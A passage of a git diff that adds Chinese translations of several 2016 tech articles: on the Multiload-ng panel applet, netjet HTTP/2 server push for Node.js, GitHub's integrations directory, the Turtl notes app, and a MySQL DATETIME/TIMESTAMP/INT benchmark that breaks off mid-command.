+![](https://3.bp.blogspot.com/-xa0OML8T-lg/V7Gixksbt8I/AAAAAAAAYS4/Jxo-MukDh3sYlOOk9A1YGtARmte490g8ACLcB/s400/multiload-ng-xfce-horizontal.png) + +![](https://1.bp.blogspot.com/-WAD5MdDObD8/V7GixgVU0DI/AAAAAAAAYS8/uMhHJri1GJccRWvmf_tZkYeenVdxiENQwCLcB/s400/multiload-ng-xfce-vertical.png) + +这个应用的偏好设置窗口虽然不是非常好看,但是有计划去改进它: + +![](https://2.bp.blogspot.com/-P-ophDpc-gI/V7Gi_54b7JI/AAAAAAAAYTA/AHQck_JF_RcwZ1KbgHbaO2JRt24ZZdO3gCLcB/s320/multiload-ng-preferences.png) + +Multiload-ng 当前使用的是 GTK2,所以它不能在构建自 GTK3 下的 Xfce 或 MATE 桌面环境(面板)下工作。 + +对于 Ubuntu 系统而言,只有 Ubuntu MATE 16.10 使用 GTK3。但是鉴于 MATE 的系统监视器应用也是 Multiload GNOME 的一个分支,所以它们大多数的功能相同(除了 Multiload-ng 提供的额外自定义选项和温度图形块)。 + +该应用的[愿望清单][2] 中提及到了计划支持 GTK3 的集成以及各种各样的改进,例如温度块资料的更多来源,能够显示十进制(KB、MB、GB……)或二进制(KiB、MiB、GiB……)单位等等。 + +### 安装 Multiload-ng + +请注意因为依赖的关系, Multiload-ng 不能在 Lubuntu 14.04 上构建。 + +Multiload-ng 可在 WebUpd8 的主 PPA (针对 Ubuntu 14.04 - 16.04 / Linux Mint 17.x 和 18)中获取到。可以使用下面的命令来添加 PPA 并更新软件源: + +``` +sudo add-apt-repository ppa:nilarimogard/webupd8 +sudo apt update +``` + +然后可以使用下面的命令来安装这个应用: + +- 对于 LXDE (Lubuntu): + +``` +sudo apt install lxpanel-multiload-ng-plugin +``` + +- 对于 Xfce (Xubuntu,Linux Mint Xfce): + +``` +sudo apt install xfce4-multiload-ng-plugin +``` + +- 对于 MATE (Ubuntu MATE,Linux Mint MATE): + +``` +sudo apt install mate-multiload-ng-applet +``` + +- 独立安装 (不需要集成到面板): + +``` +sudo apt install multiload-ng-standalone +``` + +一旦安装完毕,便可以像其他应用那样添加到桌面面板中了。需要注意的是在 LXDE 中,Multiload-ng 不能马上出现在面板清单中,除非重新启动面板。你可以通过重启会话(登出后再登录)或者使用下面的命令来重启面板: + +``` +lxpanelctl restart +``` + +独立的 Multiload-ng 应用可以像其他正常应用那样从菜单中启动。 + +如果要下载源码或报告 bug 等,请看 Multiload-ng 的 [GitHub page][3]。 + +-------------------------------------------------------------------------------- + +via: http://www.webupd8.org/2016/08/alternative-system-monitor-applet-for.html + +作者:[Andrew][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.webupd8.org/p/about.html +[1]: https://github.com/udda/multiload-ng +[2]: https://github.com/udda/multiload-ng/wiki/Wishlist +[3]: https://github.com/udda/multiload-ng diff --git a/published/201609/20160816 Accelerating Node.js applications with HTTP2 Server Push.md b/published/201609/20160816 Accelerating Node.js applications with HTTP2 Server Push.md new file mode 100644 index 0000000000..d2f33e24f0 --- /dev/null +++ b/published/201609/20160816 Accelerating Node.js applications with HTTP2 Server Push.md @@ -0,0 +1,111 @@ +使用 HTTP/2 服务端推送技术加速 Node.js 应用 +========================================================= + +四月份,我们宣布了对 [HTTP/2 服务端推送技术][3]的支持,我们是通过 HTTP 的 [Link 头部](https://www.w3.org/wiki/LinkHeader)来实现这项支持的。我的同事 John 曾经通过一个例子演示了[在 PHP 里支持服务端推送功能][4]是多么的简单。 + +![](https://blog.cloudflare.com/content/images/2016/08/489477622_594bf9e3d9_z.jpg) + +我们想让现今使用 Node.js 构建的网站能够更加轻松的获得性能提升。为此,我们开发了 [netjet][1] 中间件,它可以解析应用生成的 HTML 并自动添加 Link 头部。当在一个示例的 Express 应用中使用这个中间件时,我们可以看到应用程序的输出多了如下 HTTP 头: + +![](https://blog.cloudflare.com/content/images/2016/08/2016-08-11_13-32-45.png) + +[本博客][5]是使用 [Ghost](https://ghost.org/)(LCTT 译注:一个博客发布平台)进行发布的,因此如果你的浏览器支持 HTTP/2,你已经在不知不觉中享受了服务端推送技术带来的好处了。接下来,我们将进行更详细的说明。 + +netjet 使用了带有定制插件的 [PostHTML](https://github.com/posthtml/posthtml) 来解析 HTML。目前,netjet 用它来查找图片、脚本和外部 CSS 样式表。你也可以用其它的技术来实现这个。 + +在响应过程中增加 HTML 解析器有个明显的缺点:这将增加页面加载的延时(到加载第一个字节所花的时间)。大多数情况下,所新增的延时被应用里的其他耗时掩盖掉了,比如数据库访问。为了解决这个问题,netjet 包含了一个可调节的 LRU 缓存,该缓存以 HTTP 的 ETag 头部作为索引,这使得 netjet 可以非常快的为已经解析过的页面插入 Link 头部。 + +不过,如果我们现在从头设计一款全新的应用,我们就应该考虑把页面内容和页面中的元数据分开存放,从而整体地减少 HTML 解析和其它可能增加的延时了。 + +任意的 Node.js HTML 框架,只要它支持类似 Express 这样的中间件,netjet 都是能够兼容的。只要把 netjet 像下面这样加到中间件加载链里就可以了。 + +```javascript +var express = require('express'); +var netjet = require('netjet'); +var root = '/path/to/static/folder'; + +express() + .use(netjet({ + cache: { + max: 100 + } + })) + .use(express.static(root)) + .listen(1337); +``` + +稍微加点代码,netjet 也可以摆脱 HTML 框架,独立工作: + +```javascript +var http = require('http'); +var netjet = require('netjet'); + +var port = 1337; +var hostname = 'localhost'; +var preload = netjet({ + cache: { + max: 100 + } +}); + +var server = http.createServer(function (req, res) { + preload(req, res, function () { + res.statusCode = 200; + res.setHeader('Content-Type', 'text/html'); + res.end('

Hello World

'); + }); +}); + +server.listen(port, hostname, function () { + console.log('Server running at http://' + hostname + ':' + port+ '/'); +}); +``` + +[netjet 文档里][1]有更多选项的信息。 + +### 查看推送了什么数据 + +![](https://blog.cloudflare.com/content/images/2016/08/2016-08-02_10-49-33.png) + +访问[本文][5]时,通过 Chrome 的开发者工具,我们可以轻松的验证网站是否正在使用服务器推送技术(LCTT 译注: Chrome 版本至少为 53)。在“Network”选项卡中,我们可以看到有些资源的“Initiator”这一列中包含了`Push`字样,这些资源就是服务器端推送的。 + +不过,目前 Firefox 的开发者工具还不能直观的展示被推送的资源。不过我们可以通过页面响应头部里的`cf-h2-pushed`头部看到一个列表,这个列表包含了本页面主动推送给浏览器的资源。 + +希望大家能够踊跃为 netjet 添砖加瓦,我也乐于看到有人正在使用 netjet。 + +### Ghost 和服务端推送技术 + +Ghost 真是包罗万象。在 Ghost 团队的帮助下,我把 netjet 也集成到里面了,而且作为测试版内容可以在 Ghost 的 0.8.0 版本中用上它。 + +如果你正在使用 Ghost,你可以通过修改 config.js、并在`production`配置块中增加 `preloadHeaders` 选项来启用服务端推送。 + +```javascript +production: { + url: 'https://my-ghost-blog.com', + preloadHeaders: 100, + // ... +} +``` + +Ghost 已经为其用户整理了[一篇支持文档][2]。 + +### 总结 + +使用 netjet,你的 Node.js 应用也可以使用浏览器预加载技术。并且 [CloudFlare][5] 已经使用它在提供了 HTTP/2 服务端推送了。 + +-------------------------------------------------------------------------------- + +via: https://blog.cloudflare.com/accelerating-node-js-applications-with-http-2-server-push/ + +作者:[Terin Stock][a] +译者:[echoma](https://github.com/echoma) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://blog.cloudflare.com/author/terin-stock/ +[1]: https://www.npmjs.com/package/netjet +[2]: http://support.ghost.org/preload-headers/ +[3]: https://www.cloudflare.com/http2/server-push/ +[4]: https://blog.cloudflare.com/using-http-2-server-push-with-php/ +[5]: https://blog.cloudflare.com/accelerating-node-js-applications-with-http-2-server-push/ \ No newline at end of file diff --git a/published/201609/20160817 Build an integration for GitHub.md b/published/201609/20160817 Build an integration for GitHub.md new file mode 100644 index 0000000000..8d2212e714 --- /dev/null +++ b/published/201609/20160817 Build an integration for GitHub.md @@ -0,0 +1,54 @@ +为 Github 创造集成件(Integration) +============= + +![](https://cloud.githubusercontent.com/assets/4432363/17537572/934e2f9c-5e52-11e6-9c24-50c7be5b5ae3.png) + +现在你可以从我们的 [集成件目录][1]里面找到更多工具。这个目录目前有超过 15 个分类 — 从 [API 管理][2] 到 [应用监控][3], Github 的集成件可以支持您的开发周期的每一个阶段。 + +我们邀请了具有不同层面的专长的开发人员,来创造有助于开发者更好的工作的集成件。如果你曾经为 Github 构建过一个很棒的集成件,我们希望来让更多人知道它! [Gitter][4]、[AppVeyor][5] 和 [ZenHub][6] 都做到了,你也可以! + +### 我们在寻找什么? + +良好的软件开发依赖于上乘的工具,开发人员如今有了更多的选择,无论是语言、框架、工作流程,还是包含了其他因素的环境。我们正在寻找能够创造更好的整体开发体验的开发工具。 + +#### 进入集成件目录清单的指南: + +- 稳步增多( 你的 Github OAuth 接口当前可以支持超过 500 个用户 ) +- 查看我们的 [技术要求][7] +- 遵从[服务条款][8] 和[隐私政策][9] +- 专注于软件开发生命周期 + +### 有帮助的资源 + +如果想要被列在目录里,请按照[列出需求页][10]中概述的步骤。 + +你也应该阅读我们的[营销指南][11]和[已有目录清单][12]来更好的了解如何把它们全都放在一起。请把你的列表的内容记录在一个[私密 gist][13] 中(markdown 格式),并且通过邮件联系我们 。 如果你有任何问题,不要犹疑,请联系 。 + +-------------------------------------------------------------------------------- + +via: https://github.com/blog/2226-build-an-integration-for-github + +作者:[chobberoni][a] +译者:[Bestony](https://github.com/Bestony) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://github.com/chobberoni + +[1]: https://github.com/integrations +[2]: https://github.com/integrations/feature/api-management +[3]: https://github.com/integrations/feature/monitoring +[4]: https://github.com/integrations/feature/monitoring +[5]: https://github.com/integrations/appveyor +[6]: https://github.com/integrations/zenhub +[7]: https://developer.github.com/integrations-directory/getting-listed/#technical-requirements +[8]: https://help.github.com/articles/github-terms-of-service/ +[9]: https://help.github.com/articles/github-privacy-policy/ +[10]: https://developer.github.com/integrations-directory/getting-listed/ +[11]: https://developer.github.com/integrations-directory/marketing-guidelines/ +[12]: https://github.com/integrations +[13]: https://gist.github.com/ + + + diff --git a/published/201609/20160817 Turtl - Secure, Open Source Evernote Alternative.md b/published/201609/20160817 Turtl - Secure, Open Source Evernote Alternative.md new file mode 100644 index 0000000000..fec3a36be5 --- /dev/null +++ b/published/201609/20160817 Turtl - Secure, Open Source Evernote Alternative.md @@ -0,0 +1,79 @@ +Turtl:安全、开源的 Evernote 替代品 +============================= + +Turtl 是一个安全、开源的 Evernote 替代品,在Linux、Windows、Mac 和 Android 等系统上都能使用。iOS版本仍在开发当中,Firefox 和 Chrome 也有扩展程序可以使用。 + +![](https://3.bp.blogspot.com/-cNoUUjaU4A0/V7MFKCasZJI/AAAAAAAAYTk/r7oWe-z_HB87hDvlKLViiiHUMfagnC6LQCLcB/s400/turtl-desktop-linux.png) + +这个产品仍在测试阶段,它能够让你把你的笔记(便签编辑器支持 Markdown)、网站书签、密码、文档、图片等单独放在一个隐秘地方。 + +笔记可以按模块组织起来,支持嵌套,也可以和其他 Turtl 用户分享。 + +![](https://2.bp.blogspot.com/-G-Ln3T1c2QA/V7MFmrqkukI/AAAAAAAAYTs/dXMPEB9MPREicixlEJlQVqg9SFjBX1pwgCLcB/s400/turtl-boards.png) + +你可以给你的笔记打上标签。Turtl 通过创建时间、最后修改时间或者标签来找你的笔记。 + +这个是便签编辑器(文件便签): + +![](https://1.bp.blogspot.com/-8cNHV69iCWM/V7MFX7sBlMI/AAAAAAAAYTo/ZUVTYwiCSy8uzrVKdf6NcsQZlHtylIyvgCEw/s400/turtl-edit-note.png) + +那么安全性如何呢?Turtl 会在保存数据之前加密,使用的是一个加密密钥,而密码并不保存在服务器上。只有你和你想要分享的人能获取数据。你可以从[这里][1]获得更多关于 Turtl 安全和加密的信息。 + +更新(感谢 Dimitry!):根据[错误反馈][2],Turtl 有个严重的安全性问题。Turtl 允许创建多个相同用户名的账号,却只使用密码来区分它们。希望能马上修复这个问题。 + +Turtl 团队提供了一个托管服务来同步你的记录,它是完全免费的,”除非你的文件足够大,或者你需要更好的服务”,在我写这篇文章的时候这个高级服务还不能用。 + +并且你也不一定要用这个托管服务,因为就像其桌面应用和手机应用一样,这个自托管服务器也是一个自由、开源的软件,所以你可以自己搭建一个 [Turtl 服务器][3]。 + +Turtl 没有像 Evernote 那么多的功能,但它在它的[计划][4]中也有一些新的功能,比如:支持导入/导出文本和Evernote 格式的数据、原生支持 PDF 阅读器、界面锁定等。 + +不得不提醒的是,每次启动都要输入密码,虽然安全,但有时候实在是麻烦。 + +###下载 Turtl + +[下载 Turtl 应用][5](二进制文件支持 Linux (32位/64位)、Windows 64 位、Mac 64位、Android,以及 Chrome 和Firefox 浏览器插件) + +**更新**:Turtl 用了一个新的服务器,注销然后在登录框的下面选择高级设置,把 Turtl 服务器设置为 "https://api.turtlapp.com/v2"(没有引号)。 + +下载源代码(桌面应用、移动应用和服务器)、反馈问题等,参见 Turtl 的 [GitHub][6] 项目站点。 + +Arch Linux 用户可以通过 [AUR][7] 来安装 Turtl。 + +要在 Linux 上安装,把安装包解压后运行 install.sh,安装之前请确保 ~/.local/share/applications 目录存在,若不存在请自行创建: + +``` +mkdir -p ~/.local/share/applications +``` + +注意:如果使用 sudo 命令安装,那么只有 root 用户才能使用。所以,要么不用 sudo 命令安装,要么在安装完成后修改权限。你可以参考[AUR 软件包的设置][8]来了解如何修改权限。 + +使用如下命令把 Turtl 安装到 ~/turtl 文件夹下(假定你已经把安装包解压在你的家目录下了): + +```` +~/turtl-*/install.sh ~/turtl +``` + +可以使用 ~/.turtl 代替 ~/turtl 把 Turtl 安装到你的家目录的隐藏文件夹下。你也可以用些小技巧把它隐藏起来。 + +如果 Turtl 没有在你的 Unity Dash 上显示出来,请注销/登录以重启会话。 + +-------------------------------------------------------------------------------- + +via: http://www.webupd8.org/2016/08/turtl-secure-open-source-evernote.html + +作者:[Andrew][a] +译者:[chisper](https://github.com/chisper) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.webupd8.org/p/about.html +[1]: https://turtl.it/docs/security/ +[2]: https://github.com/turtl/api/issues/20 +[3]: https://turtl.it/docs/server/ +[4]: https://trello.com/b/yIQGkHia/turtl-product-dev +[5]: https://turtl.it/download/ +[6]: https://github.com/turtl +[7]: https://aur.archlinux.org/packages/turtl/ +[8]: https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=turtl +[9]: https://turtlapp.com/ diff --git a/published/201609/20160823 What Datatype Should You Use to Represent Time in MySQL.md b/published/201609/20160823 What Datatype Should You Use to Represent Time in MySQL.md new file mode 100644 index 0000000000..3baf1eab27 --- /dev/null +++ b/published/201609/20160823 What Datatype Should You Use to Represent Time in MySQL.md @@ -0,0 +1,554 @@ +MySQL 中你应该使用什么数据类型表示时间? +========================================================== + +![](http://www.vertabelo.com/_file/blog/what-datatype-should-you-use-to-represent-time-in-mysql-we-compare-datetime-timestamp-and-int/clock.jpg) + +_当你需要保存日期时间数据时,一个问题来了:你应该使用 MySQL 中的什么类型?使用 MySQL 原生的 DATE 类型还是使用 INT 字段把日期和时间保存为一个纯数字呢?_ + +在这篇文章中,我将解释 MySQL 原生的方案,并给出一个最常用数据类型的对比表。我们也将对一些典型的查询做基准测试,然后得出在给定场景下应该使用什么数据类型的结论。 + +## 原生的 MySQL Datetime 数据类型 + +Datetime 数据表示一个时间点。这可以用作日志记录、物联网时间戳、日历事件数据,等等。MySQL 有两种原生的类型可以将这种信息保存在单个字段中:Datetime 和 Timestamp。MySQL 文档中是这么介绍这些数据类型的: + +> DATETIME 类型用于保存同时包含日期和时间两部分的值。MySQL 以 'YYYY-MM-DD HH:MM:SS' 形式接收和显示 DATETIME 类型的值。 + +> TIMESTAMP 类型用于保存同时包含日期和时间两部分的值。 + +> DATETIME 或 TIMESTAMP 类型的值可以在尾部包含一个毫秒部分,精确度最高到微秒(6 位数)。 + +> TIMESTAMP 和 DATETIME 数据类型提供自动初始化和更新到当前的日期和时间的功能,只需在列的定义中设置 DEFAULT CURRENT_TIMESTAMP 和 ON UPDATE CURRENT_TIMESTAMP。 + +作为一个例子: + +```SQL +CREATE TABLE `datetime_example` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `measured_on` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, + PRIMARY KEY (`id`), + KEY `measured_on` (`measured_on`) +) ENGINE=InnoDB; +``` + +```SQL +CREATE TABLE `timestamp_example` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `measured_on` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, + PRIMARY KEY (`id`), + KEY `measured_on` (`measured_on`) +) ENGINE=InnoDB; +``` + +除了原生的日期时间表示方法,还有另一种常用的存储日期和时间信息的方法。即使用 INT 字段保存 Unix 时间(从1970 年 1 月 1 日协调世界时(UTC)建立所经过的秒数)。 + +MySQL 也提供了只保存时间信息中的一部分的方式,通过使用 Date、Year 或 Time 类型。由于这篇文章是关于保存准确时间点的最佳方式的,我们没有讨论这些不那么精确的局部类型。 + +## 使用 INT 类型保存 Unix 时间 + +使用一个简单的 INT 列保存 Unix 时间是最普通的方法。使用 INT,你可以确保你要保存的数字可以快速、可靠地插入到表中,就像这样: + +```SQL +INSERT INTO `vertabelo`.`sampletable` +( + `id`, + `measured_on` ### INT 类型的列 +) +VALUES +( + 1, + 946684801 + ### 至 01/01/2000 @ 12:00am (UTC) 的 UNIX 时间戳 http://unixtimestamp.com +); +``` + +这就是关于它的所有内容了。它仅仅是个简单的 INT 列,MySQL 的处理方式是这样的:在内部使用 4 个字节保存那些数据。所以如果你在这个列上使用 SELECT 你将会得到一个数字。如果你想把这个列用作日期进行比较,下面的查询并不能正确工作: + +```SQL +SELECT + id, measured_on, FROM_UNIXTIME(measured_on) +FROM + vertabelo.inttimestampmeasures +WHERE + measured_on > '2016-01-01' ### measured_on 会被作为字符串比较以进行查询 +LIMIT 5; +``` + +这是因为 MySQL 把 INT 视为数字,而非日期。为了进行日期比较,你必须要么获取( LCTT 译注:从 1970-01-01 00:00:00)到 2016-01-01 经过的秒数,要么使用 MySQL 的 FROM\_UNIXTIME() 函数把 INT 列转为 Date 类型。下面的查询展示了 FROM\_UNIXTIME() 函数的用法: + +```SQL +SELECT + id, measured_on, FROM_UNIXTIME(measured_on) +FROM + vertabelo.inttimestampmeasures +WHERE + FROM_UNIXTIME(measured_on) > '2016-01-01' +LIMIT 5; +``` + +这会正确地获取到日期在 2016-01-01 之后的记录。你也可以直接比较数字和 2016-01-01 的 Unix 时间戳表示形式,即 1451606400。这样做意味着不用使用任何特殊的函数,因为你是在直接比较数字。查询如下: + +```SQL +SELECT + id, measured_on, FROM_UNIXTIME(measured_on) +FROM + vertabelo.inttimestampmeasures +WHERE + measured_on > 1451606400 +LIMIT 5; +``` + +假如这种方式不够高效甚至提前做这种转换是不可行的话,那该怎么办?例如,你想获取 2016 年所有星期三的记录。要做到这样而不使用任何 MySQL 日期函数,你就不得不查出 2016 年每个星期三的开始和结束时间的 Unix 时间戳。然后你不得不写很大的查询,至少要在 WHERE 中包含 104 个比较。(2016 年有 52 个星期三,你不得不考虑一天的开始(0:00 am)和结束(11:59:59 pm)...) + +结果是你很可能最终会使用 FROM\_UNIXTIME() 转换函数。既然如此,为什么不试下真正的日期类型呢? + +## 使用 Datetime 和 Timestamp + +Datetime 和 Timestamp 几乎以同样的方式工作。两种都保存日期和时间信息,毫秒部分最高精确度都是 6 位数。同时,使用人类可读的日期形式如 "2016-01-01" (为了便于比较)都能工作。查询时两种类型都支持“宽松格式”。宽松的语法允许任何标点符号作为分隔符。例如,"YYYY-MM-DD HH:MM:SS" 和 "YY-MM-DD HH:MM:SS" 两种形式都可以。在宽松格式情况下以下任何一种形式都能工作: + +``` +2012-12-31 11:30:45 +2012^12^31 11+30+45 +2012/12/31 11*30*45 +2012@12@31 11^30^45 +``` + +其它宽松格式也是允许的;你可以在 [MySQL 参考手册](https://dev.mysql.com/doc/refman/5.7/en/date-and-time-literals.html) 找到所有的格式。 + +默认情况下,Datetime 和 Timestamp 两种类型查询结果都以标准输出格式显示 —— 年-月-日 时:分:秒 (如 2016-01-01 23:59:59)。如果使用了毫秒部分,它们应该以小数值出现在秒后面 (如 2016-01-01 23:59:59.5)。 + +Timestamp 和 Datetime 的核心不同点主要在于 MySQL 在内部如何表示这些信息:两种都以二进制而非字符串形式存储,但在表示日期/时间部分时 Timestamp (4 字节) 比 Datetime (5 字节) 少使用 1 字节。当保存毫秒部分时两种都使用额外的空间 (1-3 字节)。如果你存储 150 万条记录,这种 1 字节的差异是微不足道的: + +> 150 万条记录 * 每条记录 1 字节 / (1048576 字节/MB) = __1.43 MB__ + +Timestamp 节省的 1 字节是有代价的:你只能存储从 '1970-01-01 00:00:01.000000' 到 '2038-01-19 03:14:07.999999' 之间的时间。而 Datetime 允许你存储从 '1000-01-01 00:00:00.000000' 到 '9999-12-31 23:59:59.999999' 之间的任何时间。 + +另一个重要的差别 —— 很多 MySQL 开发者没意识到的 —— 是 MySQL 使用__服务器的时区__转换 Timestamp 值到它的 UTC 等价值再保存。当获取值是它会再次进行时区转换,所以你得回了你“原始的”日期/时间值。有可能,下面这些情况会发生。 + +理想情况下,如果你一直使用同一个时区,MySQL 会获取到和你存储的同样的值。以我的经验,如果你的数据库涉及时区变换,你可能会遇到问题。例如,服务器变化(比如,你把数据库从都柏林的一台服务器迁移到加利福尼亚的一台服务器上,或者你只是修改了一下服务器的时区)时可能会发生这种情况。不管哪种方式,如果你获取数据时的时区是不同的,数据就会受影响。 + +Datetime 列不会被数据库改变。无论时区怎样配置,每次都会保存和获取到同样的值。就我而言,我认为这是一个更可靠的选择。 + +> __MySQL 文档:__ + +> MySQL 把 TIMESTAMP 值从当前的时区转换到 UTC 再存储,获取时再从 UTC 转回当前的时区。(其它类型如 DATETIME 不会这样,它们会“原样”保存。) 默认情况下,每个连接的当前时区都是服务器的时区。时区可以基于连接设置。只要时区设置保持一致,你就能得到和保存的相同的值。如果你保存了一个 TIMESTAMP 值,然后改变了时区再获取这个值,获取到的值和你存储的是不同的。这是因为在写入和查询的会话上没有使用同一个时区。当前时区可以通过系统变量 [time_zone](https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_time_zone) 的值得到。更多信息,请查看 [MySQL Server Time Zone Support](https://dev.mysql.com/doc/refman/5.7/en/time-zone-support.html)。 + +## 对比总结 + +在深入探讨使用各数据类型的性能差异之前,让我们先看一个总结表格以给你更多了解。每种类型的弱点以红色显示。 + +特性 | Datetime | Timestamp | Int (保存 Unix 时间) +:--|:--|:--|:-- +原生时间表示 | 是 | 是 | 否,所以大多数操作需要先使用转换函数,如 FROM_UNIXTIME() +能保存毫秒 | 是,最高 6 位精度 | 是,最高 6 位精度 | **否** +合法范围 | '1000-01-01 00:00:00.000000' 到 '9999-12-31 23:59:59.999999 | **'1970-01-01 00:00:01.000000' 到 '2038-01-19 03:14:07.999999'** | 若使用 unsigned, '1970-01-01 00:00:01.000000; 理论上最大到 '2106-2-07 06:28:15' +自动初始化(MySQL 5.6.5+) | 是 | 是 | **否** +宽松解释 ([MySQL docs](https://dev.mysql.com/doc/refman/5.7/en/date-and-time-literals.html)) | 是 | 是 | **否,必须使用正确的格式** +值被转换到 UTC 存储 | 否 | **是** | 否 +可转换到其它类型 | 是,如果值在合法的 Timestamp 范围中 | 是,总是 | 是,如果值在合法的范围中并使用转换函数 +存储需求([MySQL 5.6.4+](https://dev.mysql.com/doc/refman/5.7/en/storage-requirements.html)) | **5 字节**(如果使用了毫秒部分,再加最多 3 字节) | 4 字节 (如果使用了毫秒部分,再加最多 3 字节) | 4 字节 (不允许毫秒部分) +无需使用函数即可作为真实日期可读 | 是 | 是 | **否,你必须格式化输出** +数据分区 | 是 | 是,使用 [UNIX_TIMESTAMP()](https://dev.mysql.com/doc/refman/5.7/en/date-and-time-functions.html#function_unix-timestamp);在 MySQL 5.7 中其它表达式是不允许包含 [TIMESTAMP](https://dev.mysql.com/doc/refman/5.7/en/datetime.html) 值的。同时,注意[分区裁剪时的这些考虑](https://dev.mysql.com/doc/refman/5.7/en/partitioning-pruning.html) | 是,使用 INT 上的任何合法操作 + +## 基准测试 INT、Timestamp 和 Datetime 的性能 + +为了比较这些类型的性能,我会使用我创建的一个天气预报网络的 150 万记录(准确说是 1,497,421)。这个网络每分钟都收集数据。为了让这些测试可复现,我已经删除了一些私有列,所以你可以使用这些数据运行你自己的测试。 + +基于我原始的表格,我创建了三个版本: + +- `datetimemeasures` 表在 `measured_on` 列使用 Datetime 类型,表示天气预报记录的测量时间 +- `timestampmeasures` 表在 `measured_on` 列使用 Timestamp 类型 +- `inttimestampmeasures` 表在 `measured_on` 列使用 INT (unsigned) 类型 + +这三个表拥有完全相同的数据;唯一的差别就是 `measured_on` 字段的类型。所有表都在 `measured_on` 列上设置了一个索引。 + + + +### 基准测试工具 + +为了评估这些数据类型的性能,我使用了两种方法。一种基于 [Sysbench](https://github.com/akopytov/sysbench),它的官网是这么描述的: + +_“... 一个模块化、跨平台和多线程的基准测试工具,用以评估那些对运行高负载数据库的系统非常重要的系统参数。”_ + +这个工具是 [MySQL 文档](https://dev.mysql.com/downloads/benchmarks.html)中推荐的。 + +如果你使用 Windows (就像我),你可以下载一个包含可执行文件和我使用的测试查询的 zip 文件。它们基于 [一种推荐的基准测试方法](https://dba.stackexchange.com/questions/39221/stress-test-mysql-with-queries-captured-with-general-log-in-mysql)。 + +为了执行一个给定的测试,你可以使用下面的命令(插入你自己的连接参数): + +```bash +sysbench --MySQL-table-engine=innodb --MySQL-db=vertabelo --MySQL-user=root --MySQL-host=localhost --MySQL-password= --test=sysbench_test_file.lua --num-threads=8 --max-requests=100 run +``` + +这会正常工作,这里 `sysbench_test_file.lua` 是测试文件,并包含了各个测试中指向各个表的 SQL 查询。 + +为了进一步验证结果,我也运行了 [mysqlslap](https://dev.mysql.com/doc/refman/5.7/en/mysqlslap.html)。它的官网是这么描述的: + +_“[mysqlslap](https://dev.mysql.com/doc/refman/5.7/en/mysqlslap.html) 是一个诊断程序,为模拟 MySQL 服务器的客户端负载并报告各个阶段的用时而设计。它工作起来就像是很多客户端在同时访问服务器。_ + +记得这些测试中最重要的不是所需的_绝对_时间。而是在不同数据类型上执行相同查询时的_相对_时间。这两个基准测试工具的测试时间不一定相同,因为不同工具的工作方式不同。重要的是数据类型的比较,随着我们深入到测试中,这将会变得清楚。 + +### 基准测试 + +我将使用三种可以评估几个性能方面的查询: + +* 时间范围选择 + * 在 Datetime 和 Timestamp 数据类型上这允许我们直接比较而不需要使用任何特殊的日期函数。 + * 同时,我们可以评估在 INT 类型的列上使用日期函数相对于使用简单的数值比较的影响。为了做到这些我们需要把范围转换为 Unix 时间戳数值。 +* 日期函数选择 + * 与前个测试中比较操作针对一个简单的 DATE 值相反,这个测试使得我们可以评估使用日期函数作为 “WHERE” 子句的一部分的性能。 + * 我们还可以测试一个场景,即我们必须使用一个函数将 INT 列转换为一个合法的 DATE 类型然后执行查询。 +* count() 查询 + * 作为对前面测试的补充,这将评估在三种不同的表示类型上进行典型的统计查询的性能。 + +我们将在这些测试中覆盖一些常见的场景,并看到三种类型上的性能表现。 + +### 关于 SQL\_NO\_CACHE + +当在查询中使用 SQL\_NO\_CACHE 时,服务器不使用查询缓存。它既不检查查询缓存以确认结果是不是已经在那儿了,也不会保存查询结果。因此,每个查询将反映真实的性能影响,就像每次查询都是第一次被调用。 + +### 测试 1:选择一个日期范围中的值 + +这个查询返回总计 1,497,421 行记录中的 75,706 行。 + +#### 查询 1 和 Datetime: + +```SQL +SELECT SQL_NO_CACHE + measured_on +FROM + vertabelo.datetimemeasures m +WHERE + m.measured_on > '2016-01-01 00:00:00.0' + AND m.measured_on < '2016-02-01 00:00:00.0'; +``` + +#### 性能 + +| 响应时间 (ms) | Sysbench | mysqlslap | +|-------------|----------|-----------| +| 最小 | 152 | 296 | +| 最大 | 1261 | 3203 | +| 平均 | 362 | 809 | + +```bash +Sysbench cmd> sysbench --MySQL-table-engine=innodb --MySQL-db=vertabelo --MySQL-user=root --MySQL-host=localhost --MySQL-password= --test=datetime.lua --num-threads=8 --max-requests=100 run +``` + +```bash +mysqlslap cmd> mysqlslap --query="SELECT SQL_NO_CACHE measured_on FROM vertabelo.datetimemeasures m WHERE m.measured_on > '2016-01-01 00:00:00.0' AND m.measured_on < '2016-02-01 00:00:00.0'" --host=localhost --user=root --concurrency=8 --iterations=100 --no-drop --create-schema=vertabelo +``` + +#### 查询 1 和 Timestamp: + +```SQL +SELECT SQL_NO_CACHE + measured_on +FROM + vertabelo.timestampmeasures m +WHERE + m.measured_on > '2016-01-01 00:00:00.0' + AND m.measured_on < '2016-02-01 00:00:00.0'; +``` + +#### 性能 + +| 响应时间 (ms) | Sysbench | mysqlslap | +|-------------|----------|-----------| +| 最小 | 214 | 359 | +| 最大 | 1389 | 3313 | +| 平均 | 431 | 1004 | + +```bash +Sysbench cmd> sysbench --MySQL-table-engine=innodb --MySQL-db=vertabelo --MySQL-user=root --MySQL-host=localhost --MySQL-password= --test=timestamp.lua --num-threads=8 --max-requests=100 run +``` + +```bash +mysqlslap cmd> mysqlslap --query="SELECT SQL_NO_CACHE measured_on FROM 